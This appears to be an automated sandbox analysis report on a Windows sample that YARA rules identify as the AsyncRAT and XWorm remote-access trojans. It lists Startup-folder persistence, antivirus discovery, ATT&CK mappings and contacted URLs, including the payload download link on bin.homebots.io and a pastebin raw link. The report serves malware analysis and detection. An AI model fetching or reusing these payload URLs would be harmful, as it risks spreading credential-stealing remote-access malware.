Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\Public\Runtime Broker	Queries volume information: C:\Users\Public\Runtime Broker VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation

Source: C:\Users\user\Desktop\80BvHOM51j.exe

Code function: 0_2_00007FF6ACE862B4 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF6ACE862B4

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match

File source: Process Memory Space: coonfart.exe PID: 4320, type: MEMORYSTR

Source: coonfart.exe, 00000002.00000002.2926093012.000000001BC47000.00000004.00000020.00020000.00000000.sdmp, coonfart.exe, 00000002.00000002.2926093012.000000001BBE1000.00000004.00000020.00020000.00000000.sdmp, coonfart.exe, 00000002.00000002.2926093012.000000001BCBC000.00000004.00000020.00020000.00000000.sdmp, coonfart.exe, 00000002.00000002.2931033359.000000001C4C0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.coonfart.exe.12d61a78.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.coonfart.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1740708063.000001EE0BBE1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2915078588.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1739984751.0000000000A02000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2922028493.0000000012D61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2910321731.000001EE0BC0A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1740708063.000001EE0BC02000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 80BvHOM51j.exe PID: 2832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: coonfart.exe PID: 4320, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1], type: DROPPED
Source: Yara match	File source: C:\Users\Public\Runtime Broker, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, type: DROPPED

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.coonfart.exe.12d61a78.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.coonfart.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1740708063.000001EE0BBE1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2915078588.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1739984751.0000000000A02000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2922028493.0000000012D61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2910321731.000001EE0BC0A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1740708063.000001EE0BC02000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 80BvHOM51j.exe PID: 2832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: coonfart.exe PID: 4320, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1], type: DROPPED
Source: Yara match	File source: C:\Users\Public\Runtime Broker, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	12 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	11 Input Capture	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Scheduled Task/Job	1 DLL Side-Loading	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	11 Input Capture	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	2 Scheduled Task/Job	2 Scheduled Task/Job	11 Obfuscated Files or Information	Security Account Manager	34 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	121 Registry Run Keys / Startup Folder	121 Registry Run Keys / Startup Folder	2 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	561 Security Software Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	131 Masquerading	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	113 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	161 Virtualization/Sandbox Evasion	DCSync	161 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
80BvHOM51j.exe	5%	ReversingLabs
80BvHOM51j.exe	10%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\Runtime Broker	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1]	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	100%	Avira	TR/Spy.Gen
C:\Users\Public\Runtime Broker	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1]	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	100%	Joe Sandbox ML
C:\Users\Public\Runtime Broker	81%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
C:\Users\Public\Runtime Broker	66%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1]	81%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1]	66%	Virustotal		Browse
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	81%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	66%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
homebots.io	2%	Virustotal	Browse
ip-api.com	0%	Virustotal	Browse
pastebin.com	0%	Virustotal	Browse
bin.homebots.io	4%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV2.C:	0%	URL Reputation	safe
https://g.live.com/odclientsettings/Prod.C:	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe
https://discord.gift/cls	1%	Virustotal		Browse
https://discord.gift/	1%	Virustotal		Browse
https://bin.homebots.io/	4%	Virustotal		Browse
http://www.microsoft.co	1%	Virustotal		Browse
https://pastebin.com/raw/LsuynkUz	1%	Virustotal		Browse
https://bin.homebots.io/f/0bd6fd77-6477-4491-a6a1-b69876184fc7/45b52685-cc32-47e5-abd7-306bfc875622	4%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://g.live.com/odclientsettings/ProdV2	0%	Virustotal		Browse
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	0%	Virustotal		Browse
https://bin.homebots.io/f/0bd6fd77-6477-4491-a6a1-b69876184fc7/45b52685-cc32-47e5-abd7-306bfc875622#	4%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
homebots.io	143.178.83.216	true	false	2%, Virustotal, Browse	unknown
ip-api.com	208.95.112.1	true	true	0%, Virustotal, Browse	unknown
pastebin.com	104.20.4.235	true	true	0%, Virustotal, Browse	unknown
bin.homebots.io	unknown	unknown	true	4%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bin.homebots.io/f/0bd6fd77-6477-4491-a6a1-b69876184fc7/45b52685-cc32-47e5-abd7-306bfc875622	false	4%, Virustotal, Browse	unknown
https://pastebin.com/raw/LsuynkUz	true	1%, Virustotal, Browse	unknown
http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.1844678858.0000021358544000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1945912327.00000240CC0C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2099020934.000001823F812000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2320434265.000001BC376F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000013.00000002.2167775470.000001BC278A9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000006.00000002.1821832936.00000213486FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1891461405.00000240BC27A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2002606468.000001822F9C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2167775470.000001BC278A9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.gift/	80BvHOM51j.exe	false	1%, Virustotal, Browse	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000013.00000002.2167775470.000001BC278A9000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://discord.gift/cls	80BvHOM51j.exe	false	1%, Virustotal, Browse	unknown
https://bin.homebots.io/	80BvHOM51j.exe, 00000000.00000002.2909568930.000001EE09EAD000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse	unknown
